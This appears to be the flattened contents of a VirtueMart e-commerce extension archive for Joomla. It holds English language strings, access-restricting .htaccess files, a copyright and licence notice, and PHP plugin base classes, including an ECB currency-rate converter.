COM_VIRTUEMART_LLIMIT_INIT_BE_TIP="The standard pagination list limit for all listings in the backend" COM_VIRTUEMART_LLIMIT_INIT_FE="Frontend default items per list view" COM_VIRTUEMART_LLIMIT_INIT_FE_TIP="The standard pagination list limit for all listings in the frontend" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Default LWH Unit" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Set the default unit for your shop" COM_VIRTUEMART_PDF_ICON_SHOW="Show the pdf view icon?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="Show or Hide the pdf link icon" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Show the product navigation?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Show the product navigation on the top of the product page" COM_VIRTUEMART_RECCOMEND_UNATUH="Allow non logged-in to send a recommendation or ask a question" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="When enabled any user can send recommendation on product, ask a question, or call for price, otherwise only logged users are able to use this functions. You can enable it, but check your emails regularly, it can be misused for spam" COM_VIRTUEMART_REGISTRATION_CAPTCHA="Use ReCaptcha for Registration" COM_VIRTUEMART_REGISTRATION_CAPTCHA_EXPLAIN="Before you enable this you have to enter your Public Key and Private Key into the Joomla ReCaptcha Plugin basic options. For instructiions how to get those keys please read the plugin description." COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Auto-Publish Reviews?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="If checked, reviews are automatically published after being posted. If not, the administrator must approve/publish them." COM_VIRTUEMART_REVIEWS_OS="Order status Review/Rating" COM_VIRTUEMART_REVIEWS_OS_TIP="Order status to enable the Review/Rating in case the option Shoppers who bought the product was selected" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Select the default template for your Shop" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Templates allow styling and customizing your shop.
If no other templates than the 'default' one are present, you haven't installed more templates." COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Show uncategorised child products in search results and modules?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="When enabled, all products and child products will appear in search results and standard modules. When disabled, any uncategorised child products will not appear, only the parent." COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE="Enable VirtueMart 404 error handling" COM_VIRTUEMART_VM_ERROR_HANDLING_ENABLE_EXPLAIN="When VirtueMart encounters a 404 error (missing product, missing category, etc), selecting this option will redirect the user to the storefront. Leaving this unchecked will pass the error to Joomla to handle in the usual way." COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Default Weight Unit" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="Default Weight Unit used for the products. This value can be changed per product"PKB\V?-language/en-GB/en-GB.com_virtuemart_media.ininuW+A; Virtuemart! Project ; Copyright (C) 2012 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_DEFAULT_URL="(Default URL) %1$s" COM_VIRTUEMART_FILES_FORM="Product Files Form" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="already attached file" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="primary attached file" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Create Thumbnail" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Current File" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Current Full Image" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Current Thumbnail Image" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Downloadable File" COM_VIRTUEMART_FILES_FORM_FILE="Additional File" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Displayed image subtitle" COM_VIRTUEMART_FILES_FORM_FILE_META="Image Alt-Text" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="File published?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Unique Filename " COM_VIRTUEMART_FILES_FORM_FILE_URL="Used url" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Used thumb url" COM_VIRTUEMART_FILES_FORM_IMAGE="Additional Image" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Supported filetypes for thumbnail creation " COM_VIRTUEMART_FILES_FORM_LANGUAGE="Languages" COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP="Show this image along with the selected languages (leave blank for all)" COM_VIRTUEMART_FILES_FORM_LOCATION="Storing location/type" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="The server does NOT support mime type recognition, using table" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="The server supports mime type recognition" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Product Image (full and thumb)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Resize Full Image File?" COM_VIRTUEMART_FILES_FORM_ROLE="Role" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Standard download directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Standard image directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Upload to" COM_VIRTUEMART_FILE_DESCRIPTION="File Description" COM_VIRTUEMART_FILE_MIMETYPE="File Mimetype" COM_VIRTUEMART_FILE_TITLE="Title" COM_VIRTUEMART_FILE_UPLOAD="Upload File" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Create thumb" COM_VIRTUEMART_FORM_MEDIA_DELETE="delete" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Displayable" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="No attribute" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORIES="category" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="category" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="For sale" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURERS="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="product" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCTS="product" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Upload" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="upload and attach" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="upload and delete" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Replace" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Replace thumb" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_IMAGE_ACTION="Image Action" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Image Choice--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Attach new Image" COM_VIRTUEMART_IMAGE_DETACH="Image Detach" COM_VIRTUEMART_IMAGE_EDIT_INFO="Edit Image Information" COM_VIRTUEMART_IMAGE_INFORMATION="Image Information" COM_VIRTUEMART_IMAGE_NOT_FOUND="Image not found!" COM_VIRTUEMART_IMAGE_REMOVE="Remove Image" COM_VIRTUEMART_MEDIA_LIST="Product Media File List" COM_VIRTUEMART_RTB_AD="Sell more with professional looking product images! Get them edited by our partner Remove The Background. They love to remove backgrounds, crop, resize, add shadow, combine images (and much more) so you get the perfect result every time." COM_VIRTUEMART_SEARCH_MEDIA="Search for images" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Type a space to display all images or the first letters of an image title" PKB\)language/.htaccessnuW+A Order allow,deny Deny from all PKB\Vlanguage/index.htmlnuW+A PKB\t1 COPYRIGHT.phpnuW+A

Copyright:
Since VM2 is a derived work of VM1, we list them beyond, some rests of them may be in the code.
VirtueMart derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses, including
works copyrighted by any or all of the following, from 2009 - 2012,
Max Milbers, Patrick Kohl, Valérie Isaksen, Rick Glunt, Roland Dalmulder, Oscar van Eijk, Urs Brülhart, Devendra Kumar Shukla,
Jörg Kiekebusch, Christopher Roussel, John Acosta, George Kostopoulos, Zbigniew Mazur, John Wicks, Markus Öhler, Stephanie Schmidt,
Vu Hoang Viet, Simon Hodgkiss, Fred Bidon, Mickaël Cabanas, Alexander Kludt, Konstantin Dzvonik



If you have contributed a vital part of VirtueMart that is not mentioned and/or missing here,
and you feel that your copyright note should be mentioned here,
please contact the leader of the author team of VirtueMart (max|at|virtuemart.net).

VirtueMart includes or is derivative of works distributed under the following copyright notices:

Administrator Icons
----
Copyright:	2008 Simon Josephson (http://www.artatwork.com.au)


Currency Converter Module
----
Copyright:	2004 Werner Knudsen
License:	GNU General Public License (GPL)


Image2Thumbnail Class
---
Copyright:	Andreas Martens and Patrick Teague
License:	Freeware


jQuery JavaScript Library
----
Copyright: 2009 John Resig
License: Dual licensed under the MIT and GPL licenses.

PEAR
----
Copyright:	1997-2004 The PHP Group
License:	PHP license


OLD VM1: Copyright, since we used some lines, all not already mentioned above is here again

VirtueMart derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses, including
works copyrighted by any or all of the following, from 2000 through 2005 (appearing in alphabetical order):
Ekkehard Domning, Zdenek Dvorak, Edikon corp., Soeren Eberhardt,
pablo (from Edikon), Bernhard Pfeifer,  John Syben, Phil Taylor, Erich Vinson,
or Mike Wattier from Zephware (devcompany.com)

(If you have contributed a piece of VirtueMart that is not mentioned and missing here,
and you feel that your copyright note should be mentioned here,
please contact the author of VirtueMart (max |at| virtuemart.net).)


CreditCard Class
---
Copyright:	Daniel Fr�z Costa
License:	Public Domain


FPDF
----
Copyright:	Olivier PLATHEY
License:	Freeware

HMTL2PDF
----
Copyright: 2004-2005 Renato Coelho
License:	GNU Lesser General Public License (LGPL)

phpInputfilter
----
Copyright:	Daniel Morris
License:	GNU General Public License (GPL)

phpMailer
----
Copyright:	2001 - 2003  Brent R. Matzelle
License:	GNU Lesser General Public License (LGPL)

phpShop
----
Copyright:	2000 - 2004 Edikon Corp. (http://www.edikon.com)
License:	GNU General Public License (GPL)
Community: http://www.phpshop.org

tar-archive
----
Copyright:	1997-2003 The PHP Group
License:	PHP License

wz-tooltip
----
Copyright:	2002-2004 Walter Zorn
License:	GNU Lesser General Public License (LGPL)

PKB\2!plugins/vmuserfieldtypeplugin.phpnuW+A_tablename = '#__virtuemart_userfield_' . $this->_name; // $this->_createTable(); // $this->_tableChecked = true; } // add params fields in object function AddUserfieldParameter($params){ $plgParams = explode('|', $params); foreach($plgParams as $item){ if (empty($item)) continue; $param = explode('=',$item); $this->$param[0] = json_decode($param[1]); //unset($item[0]); } } // add params fields in object by name function AddUserfieldParameterByPlgName($plgName){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT `params` FROM `#__virtuemart_userfields` WHERE `type` = "plugin' . $plgName.'"'; $this->_db->setQuery($q); $params = $this->_db->loadResult(); $this->AddUserfieldParameter($params); } } PKB\%plugins/currency_converter/index.htmlnuW+APKB\/Ǿ)plugins/currency_converter/convertECB.phpnuW+Alifetime; $cache->setLifeTime(86400/4); // check 4 time per day // save cache conf $conf = JFactory::getConfig(); // check if cache is enabled in configuration $cacheactive = $conf->getValue('config.caching'); $cache->setCaching(1); //enable caching $globalCurrencyConverter = $cache->call( array( 'convertECB', 'getSetExchangeRates' ),$this->document_address ); // revert configuration $cache->setCaching($cacheactive); if(!$globalCurrencyConverter ){ //vmdebug('convert convert No $globalCurrencyConverter convert '.$amountA); return $amountA; } else { $valA = isset( $globalCurrencyConverter[$currA] ) ? $globalCurrencyConverter[$currA] : 1.0; $valB = isset( $globalCurrencyConverter[$currB] ) ? $globalCurrencyConverter[$currB] : 1.0; $val = (float)$amountA * (float)$valB / (float)$valA; //vmdebug('convertECB with '.$currA.' '.$amountA.' * '.$valB.' / '.$valA.' = '.$val,$globalCurrencyConverter[$currA]); return $val; } } static function getSetExchangeRates($ecb_filename){ $archive = true; setlocale(LC_TIME, "en-GB"); $now = time() + 3600; // Time in ECB (Germany) is GMT + 1 hour (3600 seconds) if (date("I")) { $now += 3600; // Adjust for daylight saving time } $weekday_now_local = gmdate('w', $now); // week day, important: week starts with sunday (= 0) !! $date_now_local = gmdate('Ymd', $now); $time_now_local = gmdate('Hi', $now); $time_ecb_update = '1415'; if( is_writable(JPATH_BASE.DS.'cache') ) { $store_path = JPATH_BASE.DS.'cache'; } else { $store_path = JPATH_SITE.DS.'media'; } $archivefile_name = $store_path.'/daily.xml'; $val = ''; if(file_exists($archivefile_name) && filesize( $archivefile_name ) > 0 ) { // timestamp for the Filename $file_datestamp = date('Ymd', filemtime($archivefile_name)); // check if today is a weekday - no updates on weekends if( date( 'w' ) > 0 && date( 'w' ) < 6 // compare filedate and actual date && $file_datestamp != $date_now_local // if localtime is greater then ecb-update-time go on to update and write files && $time_now_local > $time_ecb_update) { $curr_filename = $ecb_filename; } else { $curr_filename = $archivefile_name; $last_updated = $file_datestamp; $archive = false; } } else { $curr_filename = $ecb_filename; } if( !is_writable( $store_path )) { $archive = false; vmError( "The file $archivefile_name can't be created. The directory $store_path is not writable" ); } // JError::raiseNotice(1, "The file $archivefile_name should be in the directory $store_path " ); if( $curr_filename == $ecb_filename ) { // Fetch the file from the internet if(!class_exists('VmConnector')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'connection.php'); // JError::raiseNotice(1, "Updating currency " ); if (!$contents = VmConnector::handleCommunication( $curr_filename )) { if (isset($file_datestamp)) { $contents = @file_get_contents( $curr_filename ); } } else $last_updated = date('Ymd'); } else { $contents = @file_get_contents( $curr_filename ); } if( $contents ) { // if archivefile does not exist if( $archive ) { // now write new file file_put_contents( $archivefile_name, $contents ); } $contents = str_replace (" loadXML($contents) ) { //todo vmError('Failed to parse the Currency Converter XML document.'); vmError('The content: '.$contents); // $GLOBALS['product_currency'] = $vendor_currency; return false; } $currency_list = $xmlDoc->getElementsByTagName( "Cube" ); // Loop through the Currency List $length = $currency_list->length; for ($i = 0; $i < $length; $i++) { $currNode = $currency_list->item($i); if(!empty($currNode) && !empty($currNode->attributes->getNamedItem("currency")->nodeValue)){ $currency[$currNode->attributes->getNamedItem("currency")->nodeValue] = $currNode->attributes->getNamedItem("rate")->nodeValue; unset( $currNode ); } } $globalCurrencyConverter = $currency; } else { $globalCurrencyConverter = false; vmError( 'Failed to retrieve the Currency Converter XML document.'); // return false; } return $globalCurrencyConverter; } } // pure php no closing tag PKB\il)plugins/currency_converter/convertECB.xmlnuW+A ECB Currency Converter 28. January 2008 GNU/GPL http://joomlacode.org/gf/project/jmart/ 1.0 Currency Converter Plugin, based on Rates from the European Central Bank convertECB convertECB.php PKB\)$plugins/currency_converter/.htaccessnuW+A Order allow,deny Deny from all PKB\?L--plugins/vmextendedplugin.phpnuW+A_name; if (empty($name)) { $r = null; preg_match('/VmExtended(.*)/i', get_class($this), $r); $name = (empty($r)) ? '' : strtolower($r[1]); $this->_name = $name; } return $name; } /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration */ public function __construct (&$subject, $config=array()) { parent::__construct($subject, $config); $this->_path = JPATH_PLUGINS.DS.$this->getName(); $lang = JFactory::getLanguage(); $lang->load('plg_vmextended_'.$this->getName(),JPATH_ADMINISTRATOR); } /** * Plugs into the backend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmAdminController ($controller) { return null; } /* example: if ($controller = 'myplug') { require_once($this->_path.DS.'controllers'.DS.'myplug_admin.php'); return true; }*/ /** * Plugs into the frontend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmSiteController ($controller) { return null; } /* example: if ($controller = 'myplug') { require_once($this->_path.DS.'controllers'.DS.'myplug.php'); return true; }*/ /** * Plugs into the updater model to remove additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRemove (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'uninstall_required_data.sql'; $updater->execSQLFile($filename);*/ /** * Plugs into the updater model to reinstall additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRestore (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'install_required_data.sql'; $updater->execSQLFile($filename);*/ }PKB\{9FFplugins/vmcouponplugin.phpnuW+A_tablename = '#__virtuemart_coupon_' . $this->_name; } }PKB\plugins/index.htmlnuW+APKB\Y((plugins/vmcustomplugin.phpnuW+A name */ protected $customs; function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_tablepkey = 'virtuemart_product_id'; $this->_tablename = '#__virtuemart_product_' . $this->_psType . '_plg_' . $this->_name; $this->_idName = 'virtuemart_custom_id'; $this->_configTableFileName = $this->_psType . 's'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 's'; //TablePaymentmethods $this->_configTable = '#__virtuemart_customs'; } function onDisplayEditBECustom ($virtuemart_custom_id, &$customPlugin) { //if($this->plugin = $this->selectedThisByMethodId($this->_psType,$virtuemart_custom_id)){ if ($this->plugin = $this->selectedThisByMethodId ($virtuemart_custom_id)) { if (empty($this->plugin)) { $this->plugin->custom_jplugin_id = NULL; return $this->plugin; } //Must use here the table to get valid params $this->plugin = $this->getVmPluginMethod ($this->plugin->virtuemart_custom_id); if (empty($this->plugin->virtuemart_vendor_id)) { if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $this->plugin->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor (); } $customPlugin = $this->plugin; // return $this->plugin; return TRUE; } } /* * helper to parse plugin parameters as object * */ public function parseCustomParams (&$field, $xParams = 'custom_params') { VmTable::bindParameterable ($field, $xParams, $this->_varsToPushParam); if (empty($field->custom_element)) { return 0; } if (!empty($field->custom_param) && is_string ($field->custom_param)) { $custom_param = json_decode ($field->custom_param, TRUE); } else { return; } //$field->custom_param = $custom_param; foreach ($custom_param as $k => $v) { if (!empty($v)) { $field->$k = $v; } } } /* * helper to get plugin parameters as object * All params are added to $this->params plugin */ public function getCustomParams (&$field) { VmTable::bindParameterable ($field, 'custom_params', $this->_varsToPushParam); //Why do we have this? if (empty($field->custom_element)) { return 0; } //Why do we have this, when bindParameterable could already doing it //And why we do it here, when we do it later again? foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } // vmdebug('fields org '.$this->_name,$this->params); } $this->virtuemart_custom_id = $field->virtuemart_custom_id; if (!empty($field->custom_param) && is_string ($field->custom_param)) { $this->params = json_decode ($field->custom_param); } else { return; } //$field->custom_param = $custom_param; //vmdebug('$this->_varsToPushParam '.$this->_name,$this->_varsToPushParam ); foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } } } /** * Helper to add all params of specific product of this custom to an object * * @param object $field * @param int $product_id */ protected function getPluginProductDataCustom (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { //$fields = get_object_vars($datas); // vmdebug('datas',$datas); foreach ($datas as $k=> $v) { if (!is_string ($v)) { continue; } // Only get real Table variable if (isset($field->$k) && $v === 0) { continue; } $field->$k = $v; } } } /** * helper to get plugin table as object * All params are added to $this->params plugin * * @param unknown_type $field * @param unknown_type $product_id */ protected function getPluginCustomData (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { foreach ($this->_varsToPushParam as $k => $v) { if (!isset($datas->$k)) { continue; } if (isset($this->params->$k) && $datas->$k == 0) { continue; } $this->params->$k = $datas->$k; } } } /** * This is the actions which take place, when a product gets stored * * @param string $type atm valid 'product' * @param array $data form data * @param int $id virtuemart_product_id */ function OnStoreProduct ($data, $plugin_param) { if (key ($plugin_param) !== $this->_name) { vmdebug('OnStoreProduct return because key '.key ($plugin_param).'!== '. $this->_name); return; } $key = key ($plugin_param); $plugin_param[$key]['virtuemart_product_id'] = $data['virtuemart_product_id']; //vmdebug ('plgData', $plugin_param[$key]); // $this->id = $this->getIdForCustomIdProduct($data['virtuemart_product_id'],$plugin_param[$key]['virtuemart_custom_id']); $this->storePluginInternalDataProduct ($plugin_param[$key], 'id', $data['virtuemart_product_id']); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalDataProduct (&$values, $primaryKey = 0, $product_id = 0) { $custom_id = $values['virtuemart_custom_id']; $db = JFactory::getDBO (); if (!empty($custom_id) && !empty($product_id)) { $_qry = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($_qry); $id = $db->loadResult (); } $values['id'] = $id ? $id : 0; // vmdebug('$value',$values, $id); $this->storePluginInternalData ($values); return $values; } /** * Calculate the variant price by The plugin * override calculateModificators() in calculatorh. * Eg. recalculate price by a quantity set in the plugin * You must reimplement modifyPrice() in your plugin * or price is returned defaut custom_price */ // public function plgVmCalculatePluginVariant( $product, $field,$selected,$row){ public function getCustomVariant ($product, &$productCustomsPrice, $selected) { if ($productCustomsPrice->custom_element !== $this->_name) { return FALSE; } vmPlugin::declarePluginParams ('custom', $productCustomsPrice->custom_element, $productCustomsPrice->custom_jplugin_id, $productCustomsPrice); // VmTable::bindParameterable($productCustomsPrice,'custom_params',$this->_varsToPushParam); $pluginFields = JRequest::getVar ('customPlugin', NULL); if ($pluginFields == NULL and isset($product->customPlugin)) { $pluginFields = json_decode ($product->customPlugin, TRUE); } return $pluginFields[$productCustomsPrice->virtuemart_customfield_id][$this->_name]; } /** * convert param for render and * display The plugin in cart * return null if not $this->_name */ public function GetPluginInCart ($product) { //$plgName = $productCustom->value; if (!empty($product->param)) { if (!is_array ($product->param)) { return FALSE; } $param = array(); // vmdebug('$product->param',$product->param); foreach ($product->param as $k => $plg) { if (is_array ($plg) and key ($plg) == $this->_name) { $param[$k] = $plg[$this->_name]; } } if ($param) { return $param; } } return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function selectSearchableCustom (&$selectList) { return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ /* public function plgVmAddToSearch (&$where, $searchplugin) { }*/ /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function GetNameByCustomId ($custom_id) { static $custom_element; if (isset($custom_element)) { return $custom_element; } $db = JFactory::getDBO (); $q = 'SELECT `custom_element` FROM `#__virtuemart_customs` WHERE `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); $custom_element = $db->loadResult (); return $custom_element; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function getIdForCustomIdProduct ($product_id, $custom_id) { $db = JFactory::getDBO (); $q = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); return $db->loadResult (); } } PKB\)plugins/.htaccessnuW+A Order allow,deny Deny from all PKB\^xJxJplugins/vmplugin.phpnuW+A_name = basename(__FILE, '.php'); // just as note: protected can be accessed only within the class itself and by inherited and parent classes //This is normal name of the plugin family, custom, payment protected $_psType = 0; //Id of the joomla table where the plugins are registered protected $_jid = 0; protected $_vmpItable = 0; //the name of the table to store plugin internal data, like payment logs protected $_tablename = 0; protected $_tableId = 'id'; //Name of the primary key of this table, for exampel virtuemart_calc_id or virtuemart_order_id protected $_tablepkey = 0; protected $_vmpCtable = 0; //the name of the table which holds the configuration like paymentmethods, shipmentmethods, customs protected $_configTable = 0; protected $_configTableFileName = 0; protected $_configTableClassName = 0; protected $_xParams = 0; protected $_varsToPushParam = array(); //id field of the config table protected $_idName = 0; //Name of the field in the configtable, which holds the parameters of the pluginmethod protected $_configTableFieldName = 0; protected $_debug = FALSE; protected $_loggable = FALSE; protected $_cryptedFields = false; /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration * @since 1.5 */ function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_psType = substr ($this->_type, 2); $filename = 'plg_' . $this->_type . '_' . $this->_name; $this->loadJLang($filename); if (!class_exists ('JParameter')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'html' . DS . 'parameter.php'); } $this->_tablename = '#__virtuemart_' . $this->_psType . '_plg_' . $this->_name; $this->_tableChecked = FALSE; } public function loadJLang($fname,$type=0,$name=0){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); if(empty($type)) $type = $this->_type; if(empty($name)) $name = $this->_name; $path = $basePath = JPATH_PLUGINS.DS.$type.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$fname.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; } else { $epath = $path; } $jlang->load($fname, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$fname.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($fname, $path,$tag,true); } function setPluginLoggable($set=TRUE){ $this->_loggable = $set; } function setCryptedFields($fieldNames){ $this->_cryptedFields = $fieldNames; } /** * @return array */ function getTableSQLFields () { return array(); } function getOwnUrl(){ if(JVM_VERSION!=1){ $url = '/plugins/'.$this->_type.'/'.$this->_name; } else{ $url = '/plugins/'.$this->_type; } return $url; } function display3rdInfo($intro,$developer,$contactlink,$manlink){ $logolink = $this->getOwnUrl() ; return shopfunctions::display3rdInfo($this->_name,$intro,$developer,$logolink,$contactlink,$manlink); } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @param string $psType shipment,payment,custom * @param string the name of the plugin for example textinput, paypal * @param int/array $jid the registered plugin id(s) of the joomla table */ protected function selectedThis ($psType, $name = 0, $jid = 0) { if ($psType !== 0) { if ($psType != $this->_psType) { vmdebug ('selectedThis $psType does not fit'); return FALSE; } } if ($name !== 0) { if ($name != $this->_name) { vmdebug ('selectedThis $name ' . $name . ' does not fit pluginname ' . $this->_name); return FALSE; } } if ($jid === 0) { return FALSE; } else { if ($this->_jid === 0) { $this->getJoomlaPluginId (); } if (is_array ($jid)) { if (!in_array ($this->_jid, $jid)) { vmdebug ('selectedThis id ' . $jid . ' not in array does not fit ' . $this->_jid); return FALSE; } } else { if ($jid != $this->_jid) { vmdebug ('selectedThis $jid ' . $jid . ' does not fit ' . $this->_jid); return FALSE; } } } return TRUE; } /** * Checks if this plugin should be active by the trigger * * We should avoid this function, is expensive * * @author Max Milbers * @author Valérie Isaksen * * @param int/array $id the registered plugin id(s) of the joomla table */ function selectedThisByMethodId ($id = 'type') { //if($psType!=$this->_psType) return false; if ($id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.element = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.extension_id AND j.element = "' . $this->_name . '"'; } $db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @author Valérie Isaksen * @param int/array $jplugin_id the registered plugin id(s) of the joomla table */ protected function selectedThisByJPluginId ($jplugin_id = 'type') { if ($jplugin_id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.`element` = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.`' . $this->_psType . '_jplugin_id` = j.extension_id AND j.`element` = "' . $this->_name . '"'; } 